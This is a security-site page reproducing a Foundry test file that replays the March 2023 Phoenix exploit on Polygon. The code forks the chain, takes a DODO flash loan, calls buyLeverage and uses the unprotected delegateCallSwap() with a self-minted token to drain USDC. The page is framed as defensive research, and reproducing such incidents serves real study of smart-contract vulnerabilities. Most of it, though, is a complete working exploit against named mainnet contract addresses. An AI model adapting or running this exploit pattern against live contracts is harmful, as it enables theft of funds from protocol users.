Skip to content
THREATWIRE

Public reproduction file

src/test/2023-03/Phoenix_exp.sol

Public reproduction file for dataset entry - Phoenix.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-03/Phoenix_exp.sol122 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.17;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @Analysis
8// https://twitter.com/HypernativeLabs/status/1633090456157401088
9// @TX
10// https://polygonscan.com/tx/0x6fa6374d43df083679cdab97149af8207cda2471620a06d3f28b115136b8e2c4
11// @Summary
12// PhxProxy contract delegateCallSwap() function lack of access control and can be passed in any parameter
13// The lost money is mainly USDC in the d028 contract which the attacker converts into WETH in the 65ba contract through the buyLeverage function
14// and then swaps it into his own tokens by the delegateCallSwap function, making a profit from it
16interface IPHXPROXY {
17 function buyLeverage(uint256 amount, uint256 minAmount, uint256 deadLine, bytes calldata /*data*/ ) external;
18 function delegateCallSwap(
19 bytes memory data
20 ) external;
23contract ContractTest is Test {
24 IERC20 USDC = IERC20(0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174);
25 IERC20 WETH = IERC20(0x7ceB23fD6bC0adD59E62ac25578270cFf1b9f619);
26 SHITCOIN MYTOKEN;
27 IPHXPROXY phxProxy = IPHXPROXY(0x65BaF1DC6fA0C7E459A36E2E310836B396D1B1de);
28 Uni_Router_V2 Router = Uni_Router_V2(0xa5E0829CaCEd8fFDD4De3c43696c57F7D7A678ff);
29 address dodo = 0x1093ceD81987Bf532c2b7907B2A8525cd0C17295;
31 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
33 function setUp() public {
34 cheats.createSelectFork("polygon", 40_066_946);
35 vm.label(address(USDC), "USDC");
36 vm.label(address(WETH), "WETH");
37 vm.label(address(phxProxy), "phxProxy");
38 vm.label(address(Router), "Router");
39 vm.label(address(dodo), "dodo");
40 }
42 function testExploit() public {
43 deal(address(WETH), address(this), 7 * 1e15);
44 MYTOKEN = new SHITCOIN();
45 MYTOKEN.mint(1_500_000 * 1e18);
46 MYTOKEN.approve(address(Router), type(uint256).max);
47 WETH.approve(address(Router), type(uint256).max);
48 Router.addLiquidity(address(MYTOKEN), address(WETH), 7 * 1e15, 7 * 1e15, 0, 0, address(this), block.timestamp);
50 DVM(dodo).flashLoan(0, 8000 * 1e6, address(this), new bytes(1));
52 emit log_named_decimal_uint(
53 "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()
54 );
55 }
57 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
58 USDC.approve(address(phxProxy), type(uint256).max);
59 phxProxy.buyLeverage(8000 * 1e6, 0, block.timestamp, new bytes(0));
60 uint256 swapAmount = WETH.balanceOf(address(phxProxy));
61 bytes memory swapData =
62 abi.encodeWithSelector(0xa9678a18, address(Router), address(WETH), address(MYTOKEN), swapAmount);
63 phxProxy.delegateCallSwap(swapData); // WETH swap to MYTOKEN
65 address[] memory path = new address[](3);
66 path[0] = address(MYTOKEN);
67 path[1] = address(WETH);
68 path[2] = address(USDC);
69 Router.swapExactTokensForTokens(1_000_000 * 1e18, 0, path, address(this), block.timestamp); // MYTOKEN swap to USDC
71 USDC.transfer(dodo, 8000 * 1e6);
72 }
75contract SHITCOIN {
76 uint256 public totalSupply;
77 mapping(address => uint256) public balanceOf;
78 mapping(address => mapping(address => uint256)) public allowance;
79 string public name = "SHIT COIN";
80 string public symbol = "SHIT";
81 uint8 public decimals = 18;
83 event Transfer(address indexed from, address indexed to, uint256 value);
84 event Approval(address indexed owner, address indexed spender, uint256 value);
86 function transfer(address recipient, uint256 amount) external returns (bool) {
87 balanceOf[msg.sender] -= amount;
88 balanceOf[recipient] += amount;
89 emit Transfer(msg.sender, recipient, amount);
90 return true;
91 }
93 function approve(address spender, uint256 amount) external returns (bool) {
94 allowance[msg.sender][spender] = amount;
95 emit Approval(msg.sender, spender, amount);
96 return true;
97 }
99 function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
100 allowance[sender][msg.sender] -= amount;
101 balanceOf[sender] -= amount;
102 balanceOf[recipient] += amount;
103 emit Transfer(sender, recipient, amount);
104 return true;
105 }
107 function mint(
108 uint256 amount
109 ) external {
110 balanceOf[msg.sender] += amount;
111 totalSupply += amount;
112 emit Transfer(address(0), msg.sender, amount);
113 }
115 function burn(
116 uint256 amount
117 ) external {
118 balanceOf[msg.sender] -= amount;
119 totalSupply -= amount;
120 emit Transfer(msg.sender, address(0), amount);
121 }

Analysis

Dataset entry

Public Foundry test for “- Phoenix” (2023-03-07). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

8 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
Phoenix
Path
src/test/2023-03/Phoenix_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
85b57480bcb4164dc9642f4d3b3e3aa58c4b51a9
Language
Solidity
Size
123 lines
Date
2023-03-07
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-03/Phoenix_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 85b57480bcb4164dc9642f4d3b3e3aa58c4b51a9, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.